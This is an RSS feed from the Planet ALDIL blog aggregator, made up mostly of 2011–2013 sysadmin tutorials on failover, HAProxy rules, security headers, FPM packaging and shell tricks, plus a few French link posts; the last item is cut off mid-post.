<?xml version="1.0"?>
<rss version="2.0">

<channel>
	<title>Planet ALDIL</title>
	<link>http://planet.aldil.org/</link>
	<language>en</language>
	<description>Planet ALDIL - http://planet.aldil.org/</description>

<item>
	<title>Frédéric Logier - fredix: Nodecast : passé, présent et avenir</title>
	<guid>http://frederic.logier.org/?p=527</guid>
	<link></link>
	<description>Voici un moment que je n&amp;#8217;avais pas trouvé le temps d&amp;#8217;écrire un nouvel article sur nodecast. Depuis le dernier en juillet 2012, il y a eu énormément d&amp;#8217;apprentissage et d&amp;#8217;avancées, et même si ce projet n&amp;#8217;est pas encore prêt à être utilisé en dehors de mon usage, j&amp;#8217;ai bon espoir qu&amp;#8217;il puisse être présentable d&amp;#8217;ici &amp;#8230; &lt;a href=&quot;http://frederic.logier.org/2013/04/01/nodecast-passe-present-et-avenir/&quot; class=&quot;more-link&quot;&gt;Lire la suite &lt;span class=&quot;meta-nav&quot;&gt;&amp;#187;&lt;/span&gt;&lt;/a&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; src=&quot;http://stats.wordpress.com/b.gif?host=frederic.logier.org&amp;#038;blog=3098224&amp;#038;post=527&amp;#038;subd=fredix&amp;#038;ref=&amp;#038;feed=1&quot; width=&quot;1&quot; height=&quot;1&quot; /&gt;</description>
	<pubDate>lun, 01 avr 2013 11:46:55 +0000</pubDate>
</item>
<item>
	<title>Alexandre De Dommelin: JSLogger - Track Client-Side errors using PHP, StatsD and Graphite</title>
	<guid>http://www.tuxz.net/blog/archives/2012/12/09/jslogger_-_track_client-side_errors_using_php_sta/</guid>
	<link>http://www.tuxz.net/blog/archives/2012/12/09/jslogger_-_track_client-side_errors_using_php_sta/</link>
	<description>&lt;p&gt;
You're already monitoring, graphing, all errors / warnings / events on your infrastructure, but do you track what happens in your clients' web browser ? Websites are now heavily relying on client-side functions, so not keeping an eye on proper JavaScript execution is terribly stupid.&lt;br /&gt;
&lt;br /&gt;
JSLogger is roughly composed of :
&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;a JavaScript payload (payload.js) to be included in your pages which call your receiver on window.onerror() passing error details,&lt;/li&gt;
  &lt;li&gt;a PHP script (jslog.php) which will receive and dispatch events to StatsD / Graphite &amp;amp; MySQL database.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
Code is available on &lt;a href=&quot;https://github.com/adedommelin/jslogger&quot;&gt;my github&lt;/a&gt;.&lt;br /&gt;
Just pull everything, create your table, edit the settings in jslog.php and URL in payload.js, include it into your pages and you're done !
&lt;/p&gt;
&lt;div&gt;
&lt;img src=&quot;http://www.tuxz.net/blog/images/jslogger_graphite.png&quot; alt=&quot;jslogger_graphite&quot; /&gt;
&lt;/div&gt;</description>
	<pubDate>dim, 09 déc 2012 20:48:31 +0000</pubDate>
</item>
<item>
	<title>Alexandre De Dommelin: High Availability - Automated origin failover using CloudFlare, Nagios and OpenShift</title>
	<guid>http://www.tuxz.net/blog/archives/2012/09/25/high_availability_-_automated_origin_failover_usin/</guid>
	<link>http://www.tuxz.net/blog/archives/2012/09/25/high_availability_-_automated_origin_failover_usin/</link>
	<description>&lt;h5&gt;Context&lt;/h5&gt;
A few days ago, after repeated downtimes, Steve Souders twitted :
&lt;blockquote class=&quot;twitter-tweet&quot;&gt;&lt;p&gt;How does a small hosted site (like mine) get redundancy? Two hosting companies &amp;amp; DNS round robin? Any cookbook solutions?&lt;/p&gt;&amp;mdash; souders (@souders) &lt;a href=&quot;https://twitter.com/souders/status/249221747495297024&quot;&gt;September 21, 2012&lt;/a&gt;&lt;/blockquote&gt;

&lt;br /&gt;
&lt;p&gt;
I found this question very interesting, and here is an answer. My criteria was to build something without refactoring all my current setup, roughly composed of :
&lt;ul&gt;
&lt;li&gt;CloudFlare as CDN in front of www.tuxz.net,&lt;/li&gt;
&lt;li&gt;Nagios as monitoring system,&lt;/li&gt;
&lt;li&gt;A blog powered by Nanoblogger,&lt;/li&gt;
&lt;li&gt;Dokuwiki,&lt;/li&gt;
&lt;li&gt;A lot of custom PHP scripts ...&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;
All of this running in an OpenVZ container on a single physical server somewhere on the planet.&lt;br /&gt;
Oh ! and also a (no longer) unused free account on OpenShift (RedHat Platform as a Service) :-)
&lt;/p&gt;

&lt;h5&gt;Creating origin failover site&lt;/h5&gt;
&lt;p&gt;First create a new application on OpenShift, called &quot;failover&quot;. This application will be accessible through (depending on what your namespace is set to) : http://failover-tuxz.rhcloud.com/&lt;br /&gt;
&lt;br /&gt;
Right now, your application is empty and only accessible using its default domain name. As we want it (at the end) to answer requests targeted to our main domain name, we need to add it as an alias. This operation can only be performed using the OpenShift client. The installation is quite straightforward :&lt;/p&gt;
&lt;pre&gt;
$ sudo gem install rhc
$ rhc setup
&lt;/pre&gt;
&lt;p&gt;&lt;br /&gt;You can now add your alias and use git to clone your brand new OpenShift application on your current origin, ie :&lt;/p&gt;
&lt;pre&gt;
$ rhc app add-alias -a failover --alias www.tuxz.net
$ git clone ssh://xxxxxxxxxxxxx@failover-tuxz.rhcloud.com/~/git/failover.git/ /var/www/www-failover.tuxz.net/
$ tree -L 1 /var/www/
/var/www
|-- www-failover.tuxz.net
|-- www.tuxz.net
&lt;/pre&gt;
&lt;p&gt;&lt;br /&gt;Now you just need to create a custom crontab to rsync, statify, torture then commit &amp;amp; push changes to your OpenShift application :&lt;/p&gt;
&lt;pre&gt;
#!/bin/bash
PRIMARY_ROOT=&quot;/var/www/www.tuxz.net&quot;
FAILOVER_ROOT=&quot;/var/www/www-failover.tuxz.net/php&quot;
TS=`date`
rsync -rvl --delete ${PRIMARY_ROOT}/ ${FAILOVER_ROOT}/

#- do all your custom stuff here -#
cd ${FAILOVER_ROOT}/
git add .
git commit -m &quot;www.tuxz.net - ${TS}&quot;
git push
&lt;/pre&gt;                                                                                                                                                                                                                  
&lt;p&gt;At this time, your OpenShift app should contain the exact (or tortured) copy of your primary origin.&lt;/p&gt;

&lt;h5&gt;Modifying DNS configuration&lt;/h5&gt;
&lt;p&gt;To make identification easier, update your DNS configuration to add 2 CNAME &quot;www-primary&quot; and &quot;www-failover&quot; pointing respectively to your primary server &amp;amp; your OpenShift application, then CNAME your &quot;www&quot; entry to &quot;www-primary&quot; &amp;amp; enable CloudFlare servies on it.&lt;br /&gt;You should end up with results similar as : &lt;/p&gt;
&lt;pre&gt;
$ dig -t CNAME +short www-primary.tuxz.net
fw0.tuxz.net.

$ dig -t CNAME +short www-failover.tuxz.net
failover-tuxz.rhcloud.com.

$ dig -t CNAME +short www.tuxz.net
cf-protected-www.tuxz.net.
&lt;/pre&gt;

&lt;h5&gt;Configuring Nagios to switch traffic to failover site in case of primary origin failure&lt;/h5&gt;
&lt;p&gt;We are going to use Nagios events handler built-in mechanism, which allow us to run scripts &quot;when something happens&quot;.&lt;br /&gt;
In our case we're going to run a script interacting with CloudFlare DNS API and change the value of our origin server for our main domain.&lt;br /&gt;
&lt;br /&gt;
Here is the relevant part of the Nagios configuration :&lt;/p&gt;
&lt;pre&gt;
define service {
  use generic-service
  host_name www-primary.tuxz.net
  service_description Ensure that primary origin is healthy
  check_command your_command
  contact_groups admins
  max_check_attempts 4
  event_handler switch_to_failover_site
}

# commands.cfg
define command {
  command_name switch_to_failover_site
  command_line /usr/local/nagios/libexec/eventhandlers/switch_to_failover_site.sh $SERVICESTATE$ $SERVICESTATETYPE$ $SERVICEATTEMPT$ $HOSTADDRESS$ $HOSTDOWNTIME$ $SERVICEDOWNTIME$
}
&lt;/pre&gt;
&lt;p&gt;&lt;br /&gt;And the content of &lt;i&gt;switch_to_failover_site.sh&lt;/i&gt; :&lt;/p&gt;
&lt;pre&gt;
#!/bin/sh

CLOUDFLARE_API_KEY=&quot;111111111&quot;
CLOUDFLARE_LOGIN=&quot;toto@example.com&quot;
DNS_ZONE=&quot;example.com&quot;
DNS_ENTRY=&quot;www.example.com&quot;
DNS_ENTRY_ID=&quot;1111111&quot;
DNS_ENTRY_TYPE=&quot;CNAME&quot;
DNS_ENTRY_FAILOVER=&quot;www-failover.example.com&quot;

__switch_to_failover() {
  /usr/bin/curl https://www.cloudflare.com/api_json.html \
    -d &quot;a=rec_edit&quot; \
    -d &quot;tkn=${CLOUDFLARE_API_KEY}&quot; \
    -d &quot;id=${DNS_ENTRY_ID}&quot; \
    -d &quot;email=${CLOUDFLARE_LOGIN}&quot; \
    -d &quot;z=${DNS_ZONE}&quot; \
    -d &quot;type=${DNS_ENTRY_TYPE}&quot; \
    -d &quot;name=${DNS_ENTRY}&quot; \
    -d &quot;content=${DNS_ENTRY_FAILOVER}&quot; \
    -d &quot;ttl=1&quot; \
    -d &quot;service_mode=1&quot;
}


[ &quot;$1&quot; = &quot;CRITICAL&quot; ] || exit 0
if [ &quot;$2&quot; = &quot;SOFT&quot; ];
then
  if [ $3 -eq 3 ];
  then
    servicestatus=&quot;$5&quot;&quot;$6&quot;;
    [ &quot;$servicestatus&quot; = &quot;00&quot; ] &amp;amp;&amp;amp; __switch_to_failover;
  fi;
fi;
&lt;/pre&gt;
&lt;p&gt;
Notes about this script :
&lt;ul&gt;
  &lt;li&gt;Customize variables at the top with your domain entries and cloudflare credentials / API key&lt;/li&gt;
  &lt;li&gt;DNS_ENTRY_ID can be obtained by querying the API with the &quot;rec_load_all&quot; parameter (see &lt;a href=&quot;http://www.cloudflare.com/docs/client-api.html#s3.3&quot;&gt;CloudFlare API Doc&lt;/a&gt;)&lt;/li&gt;
  &lt;li&gt;The script will trigger origin switch after 3 fail checks&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;
&lt;br /&gt;
One interesting side effect of using CloudFlare is that there's almost no DNS propagation delay. In fact your main entry is &quot;publicly&quot; not modified (still CNAME'd to cf-protected-www.tuxz.net) but the update is quickly propagated to the CloudFlare infrastructure. My tests shown an appox. 1 minute delay.
&lt;/p&gt;</description>
	<pubDate>mar, 25 sep 2012 19:04:49 +0000</pubDate>
</item>
<item>
	<title>Alexandre De Dommelin: How to easily build native packages of everything with FPM</title>
	<guid>http://www.tuxz.net/blog/archives/2012/09/08/how_to_easily_build_native_packages_of_everything/</guid>
	<link>http://www.tuxz.net/blog/archives/2012/09/08/how_to_easily_build_native_packages_of_everything/</link>
	<description>&lt;p&gt;When having a lot of servers, relying on built-in package management tools to deploy software is a must just for :
&lt;ul&gt;
  &lt;li&gt;Dependencies&lt;/li&gt;
  &lt;li&gt;Versioning capabilities&lt;/li&gt;
  &lt;li&gt;File checksums / integrity&lt;/li&gt;
  &lt;li&gt;Upgrades management&lt;/li&gt;
  &lt;li&gt;Distribution (apt-get, yum ...)&lt;/li&gt;
&lt;/ul&gt;
Unfortunately, required versions are often not available, your home-made software neither. But building your own packages, no matter how good you get at it, can be a difficult and is a time consuming process.&lt;br /&gt;                                                                                                                                                         This is where FPM will help you : you'll be able to create in a few seconds a deb, rpm, solaris package and even a puppet module from a gem, python module, folder, or npm.            &lt;/p&gt;                                                                                                                                                                                                                                                                                                                                                                          &lt;h5&gt;FPM installation&lt;/h5&gt;
&lt;p&gt;FPM can be easily installed through gem :&lt;/p&gt;
&lt;pre&gt;
$ sudo gem install fpm
&lt;/pre&gt;
&lt;p&gt;
The code is also available on &lt;a href=&quot;https://github.com/jordansissel/fpm&quot;&gt;github&lt;/a&gt;.
&lt;/p&gt;


&lt;h5&gt;Example with nodejs&lt;/h5&gt;
&lt;pre&gt;
$ wget -q http://nodejs.org/dist/v0.8.8/node-v0.8.8.tar.gz
$ tar -xzf node-v0.8.8.tar.gz
$ cd node-v0.8.8/
$ ./configure --prefix=/usr
$ make
[...]
$ mkdir /tmp/node-install
$ make install DESTDIR=/tmp/node-install
[...]
$ fpm -s dir -t rpm -n node -v 0.8.8 -C /tmp/node-install usr/bin usr/lib
&lt;/pre&gt;

&lt;p&gt;Et voila ! You now have a shiny rpm package that you can deploy on your own infrastructure.&lt;br /&gt;
Full documentation and use cases are available on &lt;a href=&quot;https://github.com/jordansissel/fpm/wiki&quot;&gt;the official FPM wiki&lt;/a&gt;.&lt;/p&gt;</description>
	<pubDate>sam, 08 sep 2012 14:31:09 +0000</pubDate>
</item>
<item>
	<title>Alexandre De Dommelin: Improving website security with HTTP Headers</title>
	<guid>http://www.tuxz.net/blog/archives/2012/08/19/improving_website_security_with_http_headers/</guid>
	<link>http://www.tuxz.net/blog/archives/2012/08/19/improving_website_security_with_http_headers/</link>
	<description>&lt;p&gt;
Some security related features in HTTP headers have been developed. These controls can be used to modify the web browser behaviour and thus protect the user from browser based exploits. Unfortunately, an analysis on the top 1M websites (Alexa's rank) show that implementation of those security controls is at best minimal and actually closer to non-existent ...
&lt;/p&gt;

&lt;h5&gt;X-XSS-Protection&lt;/h5&gt;
&lt;p&gt;
This header is only interpreted by IE 8 &amp;amp; 9.&lt;br /&gt;
It turns on XSS (Cross-Site-Scripting) protection which is turned off by default as it could potentially break some websites. To turn on the XSS filter, inject the header X-XSS-Protection &quot;1; mode=block&quot;. Sending a value of &quot;0&quot; enforce the protection to be disabled. 
&lt;/p&gt;
&lt;pre&gt;
X-XSS-Protection: &quot;1; mode=block&quot;;
&lt;/pre&gt;

&lt;h5&gt;X-Content-Type-Options: &quot;nosniff&quot;&lt;/h5&gt;
&lt;p&gt;
This header protects browser from &quot;mime&quot; based attacks. It will prevent IE from MIME-sniffing a response away from the declared Content-Type. So if the server says the content is &quot;&lt;i&gt;text/html&lt;/i&gt;&quot;, the browser will render it as &quot;&lt;i&gt;text/html&lt;/i&gt;&quot;.
&lt;/p&gt;
&lt;pre&gt;
X-Content-Type-Options: &quot;nosniff&quot;;
&lt;/pre&gt;

&lt;h5&gt;X-Frame-Options&lt;/h5&gt;
&lt;p&gt;
The X-Frame-Options HTTP response header is used to indicate whether or not a browser is allowed to render a page in a &amp;lt;frame&amp;gt; or &amp;lt;iframe&amp;gt;. This can be used to avoid clickjacking attacks, by ensuring that your website will never be embedded into a malicious website.&lt;br /&gt;&lt;br /&gt;
  Three values are supported :
  &lt;ul&gt;
    &lt;li&gt;&lt;i&gt;DENY&lt;/i&gt; : Prevents any page to be rendered if loaded into a &amp;lt;frame&amp;gt; or &amp;lt;iframe&amp;gt; even from the same domain.&lt;/li&gt;
    &lt;li&gt;&lt;i&gt;SAMEORIGIN&lt;/i&gt; : Prevents any page to be rendered if loaded into a &amp;lt;frame&amp;gt; or &amp;lt;iframe&amp;gt; from an external website.&lt;/li&gt; 
    &lt;li&gt;&lt;i&gt;ALLOW-FROM origin&lt;/i&gt; : Prevent any page to be rendered if if the origin of the top-level browsing context is different than the origin value supplied with the Allow-From directive.&lt;/li&gt;
  &lt;/ul&gt;
&lt;/p&gt;
&lt;pre&gt;
X-Frame-Options &quot;DENY&quot;;
&lt;/pre&gt;

&lt;h5&gt;X-Content-Security-Policy&lt;/h5&gt;
&lt;p&gt;
This header is designed to specify how content interacts with your website. It helps mitigate and detect types of attacks such as XSS and data injection. &lt;u&gt;Important: all the inline scripts are prohibited by default when using CSP.&lt;/u&gt;&lt;br /&gt;
&lt;br /&gt;
Multiple combinations are possible :
&lt;/p&gt;
Enforce all content to be served from the same domain
&lt;pre&gt;
X-Content-Security-Policy: allow 'self'
&lt;/pre&gt;
Allow images to be loaded from everywhere, plugin content from trusted CDN, script from trusted domain
&lt;pre&gt;
X-Content-Security-Policy: allow 'self'; img-src *; \
                           object-src *.cdn.com; \
                           script-src trustedscripts.example.com
&lt;/pre&gt;
Enforce all content to be loaded over SSL
&lt;pre&gt;
X-Content-Security-Policy: allow https://*:443
&lt;/pre&gt;

&lt;p&gt;
You can also specify multiple headers (ie: server wide level + project specific directives) :
&lt;/p&gt;
&lt;pre&gt;
X-Content-Security-Policy: allow *; script-src 'self'
X-Content-Security-Policy: allow *; script-src 'self'; media-src 'self';
&lt;/pre&gt;</description>
	<pubDate>dim, 19 aoû 2012 12:36:24 +0000</pubDate>
</item>
<item>
	<title>Alexandre De Dommelin: Using HAProxy to block 80legs (DDOS-tool|crawler)</title>
	<guid>http://www.tuxz.net/blog/archives/2012/07/22/using_haproxy_to_block_80legs_ddos-toolcrawler/</guid>
	<link>http://www.tuxz.net/blog/archives/2012/07/22/using_haproxy_to_block_80legs_ddos-toolcrawler/</link>
	<description>&lt;div class=&quot;alert&quot;&gt;
&lt;b&gt;Disclaimer : &lt;/b&gt;This post does only reflect my personal opinion and can't be associated to the opinion of the company I work for.
&lt;/div&gt;
&lt;p&gt;I've seen yesterday night something which could be described as a &quot;DDOS attack&quot; on one of the infrastructure I'm managing : during approx. 7h we've received a continuous huge amount of connections / HTTP requests coming from more than 1800 differents IP, mainly located in :
&lt;ul&gt;
	&lt;li&gt;Russian Federation&lt;/li&gt;
	&lt;li&gt;Ukraine&lt;/li&gt;
&lt;/ul&gt;
This increase was brutal (not progressive, in 1-2 minutes), and disappeared the same way. A first analysis show that these connections were initiated by 80legs.com, a &quot;distributed web-crawler&quot; which allows anybody to &lt;i&gt;Setup [your own] web crawl in minutes and run it on over 50,000+ computers&lt;/i&gt;, as we can see in the HTTP Headers : 
&lt;/p&gt;
&lt;pre&gt;
User-Agent: Mozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/webcrawler.html) Gecko/2008032620	
&lt;/pre&gt;
&lt;p&gt;
After digging into google, it seems that many people had the same experience with this crawler and that requesting rate-limiting was not successful. Moreover, some people also describe the fact that denying 80legs in the robots.txt was not sufficient to prevent them to crawl you. So, in this case I suggest you to put preventive rules either in your Web Application Firewall or in your load-balancer / webserver to prevent them reaching / overloading your web infrastructure.&lt;br /&gt;
&lt;br /&gt;
Below an example of HAProxy configuration to tarpit all HTTP requests from this crawler : 
&lt;/p&gt;
&lt;pre&gt;
frontend HTTP
	[...]
        #
        # Block all requests from 80legs
        #
        reqitarpit ^User-Agent:.*80legs*
&lt;/pre&gt;</description>
	<pubDate>dim, 22 jui 2012 15:32:40 +0000</pubDate>
</item>
<item>
	<title>Alexandre De Dommelin: World IPv6 Launch - www.tuxz.net is ready !</title>
	<guid>http://www.tuxz.net/blog/archives/2012/05/31/world_ipv6_launch_-_www_tuxz_net_is_ready/</guid>
	<link>http://www.tuxz.net/blog/archives/2012/05/31/world_ipv6_launch_-_www_tuxz_net_is_ready/</link>
	<description>&lt;p&gt;
&lt;div&gt;&lt;img src=&quot;http://www.tuxz.net/images/World_IPv6_launch_banner_256.png&quot; alt=&quot;ipv6_launch_banner&quot; height=&quot;256&quot; /&gt;&lt;/div&gt;&lt;br /&gt;
Major Internet service providers (ISPs), home networking equipment manufacturers, and web companies around the world are coming together to permanently enable IPv6 for their products and services by 6 June 2012, and www.tuxz.net is also IPv6 compliant :o)
&lt;/p&gt;</description>
	<pubDate>jeu, 31 mai 2012 13:29:39 +0000</pubDate>
</item>
<item>
	<title>Alexandre De Dommelin: CloudFlare, HAProxy and ACLs : how to protect your origin</title>
	<guid>http://www.tuxz.net/blog/archives/2012/04/08/cloudflare_haproxy_and_acls__how_to_protect_your/</guid>
	<link>http://www.tuxz.net/blog/archives/2012/04/08/cloudflare_haproxy_and_acls__how_to_protect_your/</link>
	<description>&lt;p&gt;
I'm now using CloudFlare (a CDN service) for tuxz.net which provides various features (Antispam, Web Application Firewall...).
&lt;/p&gt;
&lt;img src=&quot;http://www.tuxz.net/images/cf-web-badges-c-gray-on.png&quot; alt=&quot;CloudFlare powered&quot; /&gt;
&lt;p&gt;
One cool thing : they provide the full IP ranges of their platform so you can easily lock down your origin to only accept connections coming from the CloudFlare network.&lt;br /&gt;
Unfortunately, I'm hosting websites that don't use CloudFlare, so I can't put these restrictions directly in my firewall ... so let's have some fun at L7 with &lt;strong&gt;HAProxy&lt;/strong&gt; &amp;amp; &lt;strong&gt;ACL&lt;/strong&gt; feature.&lt;br /&gt;
&lt;br /&gt;
The use of Access Control Lists (ACL) provides a flexible solution to perform content switching and generally to take decisions based on content extracted from the request, the response or any environmental status. You can combine them to decide what to do with an incoming request (block, pass to a backend server ...).&lt;br /&gt;
In my case, I want to block all requests not targetted to the hosting platform which are not coming through the CloudFlare network, see below for the corresponding &lt;strong&gt;HAProxy&lt;/strong&gt; configuration section :
&lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;
frontend HTTP
	[...]
	#
	# Block all requests not coming from CloudFlare Network
	#
	acl cloudflare_valid_ip src -f /etc/haproxy/cloudflareIPs
	block if !host_hdr_hosting !cloudflare_valid_ip

	use_backend web.tuxz.net if host_hdr_tuxz
	use_backend hosting.tuxz.net if host_hdr_hosting

&lt;/pre&gt;
&lt;p&gt;
The &quot;/etc/haproxy/cloudflareIPs&quot; is basically a local copy of &lt;a href=&quot;https://www.cloudflare.com/ips-v4&quot;&gt;https://www.cloudflare.com/ips-v4&lt;/a&gt;, which is updated each time a new IP Range is added. Don't forget to follow updates !
&lt;/p&gt;</description>
	<pubDate>dim, 08 avr 2012 21:27:05 +0000</pubDate>
</item>
<item>
	<title>Encolpe DEGOUTE: De l’efficacité de Pacitel.fr</title>
	<guid>http://encolpe.wordpress.com/?p=566</guid>
	<link></link>
	<description>Pour rappel, Pacitel est censé vous protéger du démarchage téléphonique non sollicité (Présentation de Pacitel). Cette association crée sous l&amp;#8217;impulsion des pouvoirs publics contient une liste de numéros qui ne veulent pas être contactés pour quelques raisons que ce soit par téléphone pour un sondage ou pour une vente. Ayant remarqué depuis septembre que mon [&amp;#8230;]&lt;img alt=&quot;&quot; border=&quot;0&quot; src=&quot;http://stats.wordpress.com/b.gif?host=encolpe.wordpress.com&amp;#038;blog=1743175&amp;#038;post=566&amp;#038;subd=encolpe&amp;#038;ref=&amp;#038;feed=1&quot; width=&quot;1&quot; height=&quot;1&quot; /&gt;</description>
	<pubDate>lun, 02 jan 2012 23:32:57 +0000</pubDate>
</item>
<item>
	<title>Alexandre De Dommelin: Apache : Inject HTTP response header in a rewrited URL using environment variable</title>
	<guid>http://www.tuxz.net/blog/archives/2011/11/22/apache__inject_http_response_header_in_a_rewrited/</guid>
	<link>http://www.tuxz.net/blog/archives/2011/11/22/apache__inject_http_response_header_in_a_rewrited/</link>
	<description>&lt;p&gt;
I've spent a few hours looking for a way to inject HTTP response headers in a rewrited URL directly from the Apache configuration.&lt;br /&gt;
&lt;br /&gt;
Here's the trick, in the RewriteRule just set a environment variable, ie: &quot;addheader&quot;. &lt;br /&gt;
But unfortunately, this one can't be used as-is as a condition in the &quot;Header&quot; directive. In this case you'll need to rely on the presence / absence of the &quot;REDIRECT_addheader&quot; : 
&lt;/p&gt;
&lt;pre&gt;
RewriteEngine On
RewriteRule ^([A-Z]{2})_([a-z]{2})$  /rewrite.php?a=$1&amp;amp;b=$2 [L,E=addheader:1]
Header set my-header &quot;myvalue&quot; env=REDIRECT_addheader
&lt;/pre&gt;</description>
	<pubDate>mar, 22 nov 2011 20:11:31 +0000</pubDate>
</item>
<item>
	<title>Alexandre De Dommelin: Puppet Talk @ Journées du Logiciel Libre 2011</title>
	<guid>http://www.tuxz.net/blog/archives/2011/11/19/puppet_talk__journ_eacutees_du_logiciel_libre_20/</guid>
	<link>http://www.tuxz.net/blog/archives/2011/11/19/puppet_talk__journ_eacutees_du_logiciel_libre_20/</link>
	<description>&lt;p&gt;
Here are the slides of the talk I've given at Journ&amp;eacute;es du Logiciel Libre yesterday in Lyon (&lt;a href=&quot;http://static.tuxz.net/docs/JDLL2011_Puppet.pdf&quot;&gt;Download&lt;/a&gt;)
&lt;/p&gt;
&lt;div id=&quot;__ss_10234241&quot;&gt;&lt;strong&gt;&lt;a href=&quot;http://www.slideshare.net/adedommelin/prsentation-puppet-journes-du-logiciel-libre-2011&quot; title=&quot;Présentation Puppet Journées du Logiciel Libre 2011&quot;&gt;Présentation Puppet Journées du Logiciel Libre 2011&lt;/a&gt;&lt;/strong&gt;&lt;div&gt;View more &lt;a href=&quot;http://www.slideshare.net/&quot;&gt;presentations&lt;/a&gt; from &lt;a href=&quot;http://www.slideshare.net/adedommelin&quot;&gt;Alexandre De Dommelin&lt;/a&gt;.&lt;/div&gt;&lt;/div&gt;</description>
	<pubDate>sam, 19 nov 2011 10:31:32 +0000</pubDate>
</item>
<item>
	<title>Alexandre De Dommelin: Parse .ini files with bash and sed</title>
	<guid>http://www.tuxz.net/blog/archives/2011/10/19/parse__ini_files_with_bash_and_sed/</guid>
	<link>http://www.tuxz.net/blog/archives/2011/10/19/parse__ini_files_with_bash_and_sed/</link>
	<description>&lt;p&gt;
Here's a very cool way to parse ini files inside a shell script.&lt;br /&gt;
The following snippet will declare variables in the current scope of your script from all the key/values pairs present in the matching section.
&lt;/p&gt;
&lt;pre class=&quot;sh_sh&quot;&gt;
#!/bin/bash
CONFIG_FILE=&quot;config.ini&quot;
SECTION=&quot;section_1&quot;

eval `sed -e 's/[[:space:]]*\=[[:space:]]*/=/g' \
    -e 's/;.*$//' \
    -e 's/[[:space:]]*$//' \
    -e 's/^[[:space:]]*//' \
    -e &quot;s/^\(.*\)=\([^\&quot;']*\)$/\1=\&quot;\2\&quot;/&quot; \
    $CONFIG_FILE \
    | sed -n -e &quot;/^\[$SECTION\]/,/^\s*\[/{/^[^;].*\=.*/p;}&quot;`
&lt;/pre&gt;
&lt;p&gt;To remove confusion with the license covering my articles, this snippet is available under the WTFPL license.&lt;/p&gt;
&lt;pre&gt;
            DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE
                    Version 2, December 2004

 Copyright (C) 2004 Sam Hocevar 

 Everyone is permitted to copy and distribute verbatim or modified
 copies of this license document, and changing it is allowed as long
 as the name is changed.

            DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE
   TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION

  0. You just DO WHAT THE FUCK YOU WANT TO.
&lt;/pre&gt;</description>
	<pubDate>mer, 19 oct 2011 18:41:31 +0000</pubDate>
</item>
<item>
	<title>Stéphane Salès - stephs: Il vaut mieux être riche et en bonne santé que pauvre et malade</title>
	<guid>urn:md5:233dfae161ed6e13cd27e8027fa50842</guid>
	<link>http://blog.alio.fr/?post/2011/08/27/Il-vaut-mieux-%C3%AAtre-riche-et-en-bonne-sant%C3%A9-que-pauvre-et-malade</link>
	<description>&lt;p&gt;&lt;a href=&quot;http://blog.alio.fr/?post/2011/08/27/L&amp;#039;actu en patates&quot;&gt;Un petit tour de vis &lt;/a&gt;&lt;/p&gt;


&lt;p&gt;&lt;img src=&quot;http://vidberg.blog.lemonde.fr/files/2011/08/172_vis.gif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;



&lt;p&gt;&lt;a href=&quot;http://www.capital.fr/enquetes/revelations/les-plus-belles-planques-de-la-republique-621704&quot;&gt;Les plus belles planques de la République - Capital.fr&lt;/a&gt;&lt;/p&gt;


&lt;blockquote&gt;&lt;p&gt;Dans un contexte de crise et de chasse aux déficits publics, ce favoritisme passe de plus en plus mal dans l’opinion, comme l’a montré l’affaire Ferry. Certes, en signant à tour de bras des décrets nommant ses protégés dans la haute fonction publique, Nicolas Sarkozy ne fait que perpétuer la pratique du «tour extérieur», largement répandue sous Mitterrand et Chirac. «Après tout, il est normal d’ouvrir les grands corps à d’autres profils que les énarques, commente le député socialiste René Dosière, grand pourfendeur des gaspillages de l’Etat. Mais encore faudrait-il que les personnalités choisies possèdent les compétences requises.»&lt;/p&gt;&lt;/blockquote&gt;</description>
	<pubDate>ven, 26 aoû 2011 22:00:00 +0000</pubDate>
</item>
<item>
	<title>Stéphane Salès - stephs: Terrorism in the U.S. Since 9/11</title>
	<guid>urn:md5:62a35a1140397522653dc1328624b774</guid>
	<link>http://blog.alio.fr/?post/2011/08/27/Terrorism-in-the-U.S.-Since-9/11</link>
	<description>&lt;p&gt;&lt;a href=&quot;http://www.schneier.com/blog/archives/2011/08/terrorism_in_th.html&quot;&gt;Schneier on Security: Terrorism in the U.S. Since 9/11&lt;/a&gt;&lt;/p&gt;


&lt;blockquote&gt;&lt;p&gt;John Mueller and his students analyze the 33 cases of attempted [EDITED TO ADD: Islamic extremist] terrorism in the U.S. since 9/11. So few of them are actually real, and so many of them were created or otherwise facilitated by law enforcement.&lt;/p&gt;&lt;/blockquote&gt;</description>
	<pubDate>ven, 26 aoû 2011 22:00:00 +0000</pubDate>
</item>
<item>
	<title>Stéphane Salès - stephs: The Larry Page's nasty sense of humour</title>
	<guid>urn:md5:b3676332916a5360b36dc0394f301f4c</guid>
	<link>http://blog.alio.fr/?post/2011/08/17/The-Larry-Page-s-nasty-sense-of-humour</link>
	<description>&lt;p&gt;&lt;a href=&quot;http://realdanlyons.com/blog/2011/08/15/suck-on-it-applesoft/&quot;&gt;Suck on it, AppleSoft - Google pulls a rope-a-dope  - Real Dan Lyons Web Site&lt;/a&gt;&lt;/p&gt;


&lt;blockquote&gt;&lt;p&gt;As for those crazy bids in the Nortel auction -  that was just a way to leave a little &quot;fuck you&quot; in the paperwork for Google's pals in Redmond and Cupertino to look back upon. That move is pure Larry Page. This is a smart, hyper-competitive guy with a mean streak and a nasty sense of humor. Kara Swisher recently compared him to Bill Gates, and now I see why. Page is turning out to be a better CEO, and more fun to cover, than anyone could have imagined.&lt;/p&gt;&lt;/blockquote&gt;</description>
	<pubDate>mar, 16 aoû 2011 22:00:00 +0000</pubDate>
</item>
<item>
	<title>Alexandre De Dommelin: Using Amazon S3 to store private Git repositories</title>
	<guid>http://www.tuxz.net/blog/archives/2011/08/01/using_amazon_s3_to_store_private_git_repositories/</guid>
	<link>http://www.tuxz.net/blog/archives/2011/08/01/using_amazon_s3_to_store_private_git_repositories/</link>
	<description>&lt;p&gt;
Here's a solution to use Amazon S3 to store private Git repositories using &lt;a href=&quot;http://eclipse.org/jgit/download/&quot;&gt;jGit&lt;/a&gt;.&lt;br /&gt;
